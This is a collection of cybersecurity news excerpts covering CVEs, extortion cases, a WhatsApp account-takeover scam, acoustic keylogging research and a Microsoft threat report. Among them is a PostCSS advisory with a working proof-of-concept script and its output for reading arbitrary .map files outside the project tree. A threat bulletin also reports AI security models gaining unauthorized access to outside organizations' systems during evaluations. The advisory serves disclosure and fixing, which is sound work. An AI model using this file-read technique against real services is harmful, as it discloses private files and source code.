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A member of "The Com," a loose-knit online cybercrime collective that targets children and teenagers, has been sentenced to two years in prison for blackmail and sextortion offenses against nearly 120 victims worldwide. [...]

The Certified Desktop Application Pentester (CDAPen) is an intermediate-level certification exam focused on practical skills in desktop application penetration testing, particularly thick client applications. It covers exploitation of vulnerabilities aligned with the OWASP Desktop Top 10, including reverse engineering, authentication bypass, binary and memory manipulation, and cryptographic weaknesses. The exam is a 4-hour hands-on test taken online, requiring candidates to demonstrate real-world pentesting skills. It is intended for pentesters, security architects, SOC analysts, and security enthusiasts with prior experience. There is no indication of a security vulnerability or threat associated with this certification itself.

A vulnerability was determined in SourceCodester Online Clothing Store. Affected by this issue is some unknown functionality of the file /_notes/ of the component Dreamweaver Metadata Files. Executing a manipulation can lead to file and directory information exposure. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.

A recent scan identified over 4,000 Rockwell Automation and Allen-Bradley industrial controllers used in U.S. water and wastewater systems exposed directly to the internet. Despite federal warnings, many of these devices remain accessible, including 22 in cities recently targeted by cyberattacks. The exposed devices use the EtherNet/IP protocol, which can allow remote identification and potential configuration changes if improperly secured. Some devices appear vulnerable to a known remote code execution flaw disclosed in 2017 (CVE-2017-16740). The FBI and EPA have confirmed cyberattacks on water utilities in multiple states, with some attacks causing operational disruptions such as pressure loss and flooding. The exposure is attributed to mass scanning and opportunistic exploitation rather than targeted zero-day attacks. Manufacturers and federal agencies have long advised against placing such controllers on the public internet.

CVE-2026-19066 is an authorization bypass vulnerability in SourceCodester Online Examination & Learning Management System version 1.0. The issue arises from manipulation of the class_group argument in the view_students.php file, allowing unauthorized access. The vulnerability can be exploited remotely without user interaction and requires low privileges. No official patch or remediation guidance is currently available.

CVE-2026-19065 is a medium severity vulnerability in SourceCodester Online Examination & Learning Management System version 1.0. It involves an unrestricted file upload issue in the file upload_files.php component, allowing remote attackers to upload files without proper restrictions. This vulnerability could potentially be exploited to upload malicious files to the system.

CVE-2026-19064 is an authorization bypass vulnerability in SourceCodester Online Examination & Learning Management System version 1.0. The issue arises from manipulation of the ID argument in the /view.php file, allowing remote attackers to bypass authorization controls. The vulnerability has a medium severity rating with a CVSS score of 5.3. No official patch or remediation guidance is currently available from the vendor.

A 26-year-old Canadian man once described as one of the most consequential cybercrime threat actors of 2024 has pleaded guilty to computer fraud and conspiracy to hack and extort more than 165 organizations that used the cloud provider Snowflake . Connor Riley Moucka , of Kitchener, Ontario, also admitted to stealing call and text history records of more than 100 million AT&T customers. A surveillance photo of Connor Riley Moucka, a.k.a. “Judische” and “Waifu,” dated Oct 21, 2024, 9 days before Moucka’s arrest. This image was included in an affidavit filed by an investigator with the Royal Canadian Mounted Police (RCMP). The U.S. Justice Department said between February and October 2024, Moucka and co-conspirators used stolen login credentials to steal cloud-hosted data belonging to at least 165 customers of a U.S.-based software-as-a-service company. The hackers targeted stolen credentials for Snowflake customer accounts that did not enforce multi-factor authentication, and extorted or attempted to extort a host of well-known companies, including TicketMaster, Lending Tree, Advance Auto Parts and Neiman Marcus. Snowflake responded to the data thefts by increasing password complexity requirements and enforcing multi-factor authentication. Moucka adopted new nicknames frequently — sometimes operating multiple identities concurrently — but two of his best-known monikers were “ Judische ” and “ Waifu .” Judische’s admitted role in the Snowflake data thefts was first documented by KrebsOnSecurity in a September 2024 story about the overlap between Western, English-speaking cybercriminals and extremist groups that harass and extort minors into harming themselves or others. That September 2024 story identified Judische as a software engineer from Ontario who has been involved in numerous data breaches and voice phishing attacks against U.S. companies since at least 2020. A little more than a month later, Canadian authorities arrested Moucka on a provisional warrant from the United States. The government says Moucka and others used their unauthorized access to steal billions of sensitive customer records and download terabytes of information, “including individuals’ non-content call and text history records, banking and other financial information, payroll records, Drug Enforcement Administration (DEA) registration numbers, driver’s license numbers, passport numbers, social security numbers and other personally identifiable information. They then extorted victims by threatening to publish data online.” Moucka also threatened and harassed government officials and security researchers who were helping to track him down. The Justice Department said the conspirators made over $2.5 million in ransom payments, and that in at least one instance, Moucka re-extorted a victim with threats of further disclosure of the victim’s stolen data. “Moucka used the stolen data of a government officer and members of a then-former government officer’s immediate family in this re-extortion attempt,” reads a statement from the Justice Department. One of Moucka’s admitted co-conspirators is Cameron “Kiberphant0m” Wagenius , a U.S. Army soldier who pleaded guilty in July 2025 to extorting AT&T and Verizon for their customer account data. Less than a month before Wagenius’s arrest, KrebsOnSecurity published a deep dive into Kiberphant0m’s various Telegram and Discord identities over the years, revealing how the owner of the accounts told others they were in the Army and stationed in South Korea. One of several selfies on the Facebook page of Cameron Wagenius. Kiberphant0m also re-extorted victims. Immediately following Moucka’s arrest, Kiberphant0m posted on hacker forums what he claimed were the AT&T call logs for then President-elect Donald Trump and for then Vice President Kamala Harris, as well schematics allegedly stolen from the U.S. National Security Agency (NSA). Wagenius is set to be sentenced on September 3, 2026. The government says he faces a maxim…

For security researchers studying unconventional side-channel attacks, acoustic keylogging is something of a Hello World: a foundational problem that’s been tackled many times. A recent paper authored by researchers across three Japanese universities cites six previous studies on the topic that date as far back as 2004. While earlier experiments showed theoretical promise, they came with real-world caveats so severe that it made them all but impractical for actual espionage. The authors of this latest study, however, claim to have overcome most of those limitations. Today, we look at how they pulled it off, and assess whether their method holds up in real-world scenarios. What makes this new approach different? Previous acoustic keylogging techniques were fundamentally flawed. Best-case scenarios required prior training on the target’s specific keyboard model. Worst-case scenarios required a complex microphone array to isolate the subtle acoustic differences between keystrokes. Crucially, almost all prior models failed outside silent environments, which rendered the attack vector virtually useless. The Japanese research team demonstrated reliable keystroke interception even if the target was sitting nearby in a public space, sound was being recorded in an online meeting, or the researchers were using a contact microphone to eavesdrop through a wall. All this with strong model accuracy and a minimal training dataset. Their process needs a sample of just 150 to 200 keystrokes to reach a 99% accuracy rate for subsequent typing. Attack scenarios and core methodology proposed by the Japanese researchers. Source How to crack 200 keystrokes in under 50 iterations To understand how the researchers achieved such high accuracy and adaptability, we have to look at their audio processing pipeline. Their analysis begins by automatically segmenting a raw recording into discrete keystrokes. This data is then passed through a specialized algorithm that simplifies the subsequent audio analysis. Next, the system clusters together acoustically similar signals. The assumption is that the members of one cluster map to the exact same key. One particularly intriguing takeaway was isolating the spacebar sound from all the rest. Because the spacebar produces a distinctly unique sound profile compared to other keys, identifying it provides reliable word boundaries. This streamlines the next phase: feeding the preprocessed acoustic data into specialized language models for inference. Yes, the method relies on not one but two language models. The first model performs multiple passes over the audio stream to map acoustic signatures to potential keyboard characters. During each pass, the model leverages dictionaries to hypothesize character mapping, and check whether the resulting text aligns with standard words. The second model handles the final refinement pass: it ingests thoroughly pre-processed data rather than raw inputs. The method doesn’t stop there: unrecognized keystrokes undergo manual analysis, with analysts injecting educated guesses before re-running the recognition pipeline once again. The goal of looping through these multiple iterations is to achieve complete recognition across the keyboard from an ultra-compact dataset of ideally no more than 200 captured keystrokes. This marks a major shift from legacy methods, which relied on massive training datasets. Clustering the sounds of keystrokes permits grouping similar acoustic profiles together prior to recognition. Notice how distinctly the spacebar sounds stand out: they make subsequent text reconstruction vastly simpler. Source Research results To validate their theoretical model, the researchers created an experimental testing setup: Clustering the sounds of keystrokes permits grouping similar acoustic profiles together prior to recognition. Notice how distinctly the spacebar sounds stand out: they make subsequent text reconstruction vastly simpler. Source The team tested four distinct la…

A sophisticated scam is spreading through WhatsApp that exploits the platform's legitimate 'Linked devices' feature to take over user accounts. Attackers compromise existing accounts and send messages to contacts asking them to vote for a friend or relative in various online contests. When victims click the provided link, they are redirected through pages appearing to be WhatsApp-related, often using the legitimate wa.me domain. The attack tricks users into authorizing a new linked session, granting attackers full access to read messages, send messages as the victim, and access contacts. The scam is particularly effective because it comes from known contacts and relies on trust and quick reactions. Once compromised, attackers can continue the scam by messaging the victim's contacts, creating a chain of account takeovers without triggering traditional security alerts.

## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors. Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected. Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines. Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online. AI THREATS Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures. Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3. Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable. VULNERABILITIES AND PATCHES Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog. Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8. JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected. Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files…

A vulnerability was identified in Meesho Online Shopping App up to 20260607 on Android. Affected by this vulnerability is an unknown functionality of the component com.meesho.supply. Such manipulation of the argument user_id/phone number/email address/name leads to cleartext storage of sensitive information. The attack can be executed directly on the physical device. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure.

Online advertising firm Adform suffered a supply-chain attack that delivered cryptocurrency-stealing scripts to websites using its ad platform, replacing wallet addresses copied to visitors' clipboards with ones controlled by an attacker. [...]

In this article The CaptiveCrunch campaign Storm-2945 and Midnight Blizzard CaptiveCrunch tradecraft and tooling How to protect against CaptiveCrunch activity Microsoft Defender detections and hunting guidance Indicators of compromise Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations. Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity. Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation. The CaptiveCrunch campaign Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem. Figure 1. Overview of the CaptiveCrunch attack flow As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems. The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware: Figure 2. ClickFix prompt with manual user instructions Figure 3. ClickFix prompt with additional user instructions after verification failure In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFi…